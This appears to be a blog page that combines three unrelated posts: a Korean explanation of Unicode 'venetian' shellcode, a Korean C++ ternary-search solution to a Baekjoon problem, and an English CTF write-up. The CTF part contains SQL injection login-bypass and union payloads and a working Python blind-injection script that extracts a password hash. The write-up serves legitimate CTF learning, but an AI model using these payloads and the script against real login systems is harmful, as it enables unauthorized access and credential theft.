개요

이 글에서는 유니코드 쉘코드와 베니스 쉘코드에 대하여 간단하게 알아본다.

 

유니코드를 기본 값으로 사용하는 시스템에서 Payload를 주입했을 때, 중간에 Null byte가 삽입되는 경우가 있을 수 있다. 이는 입력값을 Unicode로 처리하기 때문에 일어날 수 있는데, 이러한 경우 홀수번째 값이 Null byte인 값으로 쉘코드를 만들수 있을 것인지에 대한 내용을 다루어보도록 하자.

 

베니스 쉘코드(venetian shellcode)

일단 PC는 원하는 주소로 잘 변경했다고 가정을 한 뒤 생각해보자.

 

그냥은 쉘코드를 만들기에는 중간에 null byte가 들어있는 기계어 코드는 많지 않으므로 제약사항이 많을 수 있다.

 

하지만 몇가지 코드들을 이용해서 메모리에 값을 쓰도록 한다던지, 레지스터 값을 +1를 한다던지 등의 작업은 할 수 있다.

 

위와 같이 코드를 구성한다면 중간중간에 Null byte가 들어가지만, 원하는 동작들은 할 수 있다.

 

그리고 또한 inc instruction도 쓸만하다.

위와 같이 구성을 하면 조건에 맞게 shellcode를 만들 수 있다.

 

이를 이용해서 eax를 하나씩 늘려가면서 eax를 가리키는 메모리 주소에 원하는 1byte를 쓸 수 있다.

그리고 null byte align을 맞추기 위해서 [ebp]가 가리키는 곳에 ch 레지스터의 값을 더할 수 있는데 보통 이 값은 0이므로 아무일도 일어나지 않는다.

 

이러한 걸 이용해서 베니스 쉘코드란걸 작성을 할 것인데, 아이디어는 간단하다.

 

베니스 코드라는 녀석을 이용해서 메모리 적당한 곳에 Null byte가 없는 우리가 원래 쓰던 진짜 쉘코드를 쓰게 만든다.

베니스 코드는 유니코드로 인코딩되어서 중간중간에 null byte가 있지만, 위에서 하는방식으로 원하는 값을 1byte씩 한땀 한땀 작성할 수 있다.

그리고 우리가 베니스 코드로 작성한 진짜 쉘코드(null byte가 없는)녀석으로 점프를 뛰면 끝이다.

블랙햇 발표자료 슬라이드에 해당 내용을 나타낸 곳이다. UNICODE인 베니스 코드가 리얼 쉘코드를 한땀 한땀 쓰는 모습이다.

 

그외에도 NOP이나 byte값 변경이라던지 등에 유용한 어샘 코드들이 좀 있다.

저런 녀석들을 이용해서 리얼 쉘코드를 만든 뒤 점프뛰면 되겠다

add al, 0는 NOP에 해당하고

inc byte ptr[eax]는 1바이트 값 변경, mov byte ptr[eax]도 mov를 이용한 바이트 값 변경에 해당된다.

 

대신 이 쉘코드는 꽤 길어지는 경향이 있긴 한데 그래도 꽤 쓸만하다.

 

 

--------------------------------------------------------------------

https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/

https://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf

https://www.kisec.com/_core/_download.php?file_url=lab&file_name=album_5b69337831c13.pdf&real_name=%5Bexploit+writing%5D+7_%EC%9C%A0%EB%8B%88%EC%BD%94%EB%93%9C.pdf

https://www.acmicpc.net/problem/1087

 

1087번: 쥐 잡기

첫째 줄에 쥐의 수 N이 주어진다. N은 2보다 크거나 같고, 50보다 작거나 같은 자연수이다. 둘째 줄부터 각 쥐의 시작 위치와 속도가 주어진다. 이 값은 모두 절댓값이 1,000보다 작거나 같은 정수이다. 시작 위치를 (px, py)라고 하고, 속도가 (vx, vy)라면, t초 때 쥐의 위치는 (px+vx*t, py+vy*t)이다.

www.acmicpc.net

 

백준저지 1087번 문제 쥐 잡기 문제입니다.

 

이 문제는 삼분탐색이라는 알고리즘 개념을 공부한 뒤, 처음으로 8986번 전봇대 문제를 풀어보고, solved.ac에서 같은 카테고리에 있는 문제들 중 하나를 골라서 푼 경우라서, 쥐 잡기 문제가 삼분탐색 문제라는 것을 알고 접근했네요.

 

 

삼분탐색 문제는 알고리즘 구현 자체는 쉬운데, 아이디어를 생각해내기가 어렵다는 것 같았습니다.

 

문제 내용을 보면, 쥐들이 t가 변화함에 따라 마구잡이로 움직이게 되는데, 이 때 쥐들을 한꺼번에 잡을 수 있는 가장 작은 크기의 우리의 크기를 구하면 될 것 같아 보입니다.

 

쥐의 속도가 있는 경우 중 가장 작은 경우가 //(v=1//)인 경우이므로, 좌표의 가장 작은 값 부터 가장 큰 값까지가 -1000과 +1000이므로, //(t=2000//)를 가장 마지노선으로 두고 삼분탐색을 실시하면 답을 구할 수 있습니다.

 

쥐들이 어느 순간에는 가장 모이고, 그 이후에 다시 멀어지는 분포를 따를 것이므로, 필요한 우리의 크기는 아래로 볼록한 유니모달(unimodal) 그래프가 될 것임을 예측해볼 수 있습니다.

 

#include <bits/stdc++.h>
using namespace std;
#define endl '\n'
typedef long long ll;
typedef pair<int, int> pii;
struct Pos { double x, y; };
Pos p[55], v[55];
int n;
double f(double t) { //시간이 t초 지났을 때, 모든 쥐를 다 잡을 수 있는 최소 우리 크기
	double ret = 0;
	Pos low, high;
	high = low = { p[0].x + t * v[0].x, p[0].y + t * v[0].y };
	for (int i = 1; i < n; i++) {
		low.x = min(low.x, p[i].x + t * v[i].x);
		low.y = min(low.y, p[i].y + t * v[i].y);
		high.x = max(high.x, p[i].x + t * v[i].x);
		high.y = max(high.y, p[i].y + t * v[i].y);
	}
	double x, y;
	x = high.x - low.x;
	y = high.y - low.y;
	return max(x, y);
}
int main() {
	cin >> n;
	for (int i = 0; i < n; i++) {
		cin >> p[i].x >> p[i].y >> v[i].x >> v[i].y;
	}
	double low = 0;
	double high = 2000;
	for (int i = 0; i < 100 && low < high; i++) {
		double a = (low * 2 + high) / 3;
		double b = (low + 2 * high) / 3;
		if (f(a) < f(b)) {
			high = b;
		}
		else {
			low = a;
		}
	}

	printf("%.11lf\n", f(low));
	return 0;
}

 


https://blog.naver.com/kks227/221432986308

SQL Breaker 1

I am posting write-up after ctf server has been shuted down.

So, I will explain the write-up not in detail but focus core ideas.

We can find the login form like above.

The challenge name is 'SQL Breaker 1', so we can easily guess this challenge is a kind of sql injection problem.

 

When we insert the WORLD WIDE PAYLOAD 'or 1=1#, we easily can get the flag.

 

 

Flag is flag{Sql1nj3ct10n}

 

 

SQL Breaker 2

Second challange have very similar web UI.

Almost equal login form. But when we insert the payload 'or 1=1--  at username field, it is logged in as john 

We should logged in as admin user.

When I tried insert the payload 'or 1=1-- in password field, it doesn't work. Just incorrect username/password error message was seen to me.

 

So I guessed the sql query on server side is like below

SELECT * FROM USER WHERE name='{$name}' and pw=hash('{$password}')

 

I thought it is better to insert payload on username field rather than password field.

 

Several more trials, I guessed that there is no admin account row in server database.

So I tried Union based sql injection.

 

I insert the paylods on username below.

dddd'union select 'admin'-- 

dddd'union select 'admin', 'admin'-- 

dddd'union select 'admin','admin', 'admin'--

 

Those derives login fail. I guessed the number of column returned is not 1 or 2 like that.

 

When I insert 5 column with union sqli paylod, it successed.

dddd'union select '1','2','3','4','5'-- 

 

But it still log-ined as john.

 

With more consideration, to get more information about the server database data, I tried blind sql injection to get some more data.

 

I extracted password field and id field with payload like

john' and length(password) > 5-- 

john' and ord(substr(name,2,1)) > 5-- 

that.

 

#!/usr/bin/env python

import urllib
import urllib2
import sys

URL = "https://challenges.neverlanctf.com:1165/login.php"
UA =  "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"
Cookie = "PHPSESSID=bhon2smt11sccq4nehiglstqaj"

def logout():
    uurl = URL + "?logout"
    req = urllib2.Request(uurl, {}, {
        'User-Agent': UA,
        'Cookie': Cookie
    })
    res = urllib2.urlopen(req)
    

def query(Q):
    logout()
    UURL = URL + "?password=1&username=" + urllib.quote(Q)
    req = urllib2.Request(UURL, {}, {
        'User-Agent': UA,
        'Cookie': Cookie
    })

    res = urllib2.urlopen(req)
    text = res.read()
    if "location.href" in text:
        print "Session expired..."
        sys.exit()
    # print text
    return "<h2>Welcome" in text

def find_length():
    left = 0
    right = 200 # (left, right]
    while left < right:
        mid = (left+right)//2
        print "Finding... {} {} {}".format(left, mid, right)
        if query("john' and length(name) > {}-- ".format(mid)):
            left = mid+1
        else:
            right = mid
    return right

def find_ch(pos):
    print "Finding pos {} th character".format(pos)
    left = 0
    right = (1<<8)
    while left < right:
        mid = (left+right)//2
        print "Finding... {} {} {}".format(left, mid, right)
        if query("john' and ord(substr(name,{},1)) > {}-- ".format(pos, mid)):
            left = mid+1
        else:
            right = mid
    print "COOL!! {} = {}".format(pos, right)
    return right

LENGTH = find_length()
print "LENGTH = {}".format(LENGTH)
PASSWORD = ""
for i in range(1, LENGTH+1):
    PASSWORD += chr(find_ch(i))
    print PASSWORD

print PASSWORD

query(PASSWORD)

Interesting result occured.

 

password = "0a4b0ae54adbdc2825e1b05e16c7164cfdfce29e8f6fd104c7e539fc39e5c619"

id = "1"

 

password length was 64, so I thought it is 256bit hash digest.

When I get them in commonplace sha256 online decrypt database, result was "T3stUs3r"

 

When I tried to login with John/T3stUs3r, it succeed.

 

I thought id value in the database is "John" but it was number 1.

 

I tried union based sql injection to get other id number

dddd'union select '2','2','3','4','5'-- 

 

This payload give me the admin account login session.

 

The first return column must be the id value in database, id=1 is user john, id=2 is user admin.

 

 

 

Flag is flag{esc4p3y0ur1nputs}

 

DasPrime

So simple programming challenge.

Simply correct the python code to get correct prime numbers.

import math
def main():
    primes = []
    count = 2
    index = 0
    while True:
        isprime = True
        for x in range(2, int(math.sqrt(count) + 1)):
            if count % x == 0: 
                isprime = False
                continue
        if isprime:
            primes.append(count)
            print(index, primes[index])
            index += 1
            if index == 10497:
                break
        count += 1
if __name__ == "__main__":
    main()

Code above print the (index, prime) from 0th index to 10496th index.

We count from 0, 10496 indexed number prime is actually 10497th prime.

 

The prime number detection algorithm is naive.

If a number //(A//) is not divisible with //(B//) between //(2//) and //(\sqrt A//), the number //(A//) is prime.

 

When you run the python code above, the result is like that

The answer is 110573.

 

+ Recent posts